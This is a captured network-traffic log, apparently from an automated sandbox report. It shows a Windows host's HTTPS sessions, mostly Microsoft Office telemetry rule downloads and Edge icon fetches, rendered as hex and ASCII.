2024-11-12 05:23:33 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-12 05:23:33 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-12 05:23:33 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-12 05:23:33 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-12 05:23:33 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-12 05:23:33 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-12 05:23:33 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	54508	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:33 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:33 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c63e9b4-901e-0067-65a3-34b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052333Z-15869dbbcc6bmgjfhC1DFWzfzs00000006n000000000bsce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:33 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	54510	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:33 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:33 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 162cf1ac-401e-002a-0c09-2dc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052333Z-16547b76f7fdtmzhhC1DFW6zhc0000000430000000007gsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:33 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	54512	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:33 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:33 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ad594543-c01e-0082-44a1-34af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052333Z-17df447cdb57srlrhC1DFWwgas0000000bz00000000002xw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:33 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	54511	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:33 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 5267c52a-501e-007b-64a0-345ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052333Z-17df447cdb57srlrhC1DFWwgas0000000bt000000000k957 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	54513	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:33 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:33 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 5df09d77-001e-00a2-0c15-2dd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052333Z-16547b76f7fkcrm9hC1DFWxdag0000000fbg000000003ec8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:33 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	54516	13.107.246.57	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:33 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:33 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:33 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 464222a3-301e-0020-41b1-3404cb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T052333Z-17df447cdb5jg4kthC1DFWux4n0000000bmg000000001hna Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:33 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	54517	13.107.246.57	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:33 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:34 UTC	523	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:34 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 101974ec-101e-001e-44c3-34b2ea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T052333Z-17df447cdb5qt2nfhC1DFWzhgw00000008p0000000008smd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 05:23:34 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	54518	13.107.246.57	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:33 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:33 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:33 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 95c41f3e-801e-0054-31a2-34828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T052333Z-15869dbbcc662ldwhC1DFWh4e000000005qg000000003gb7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
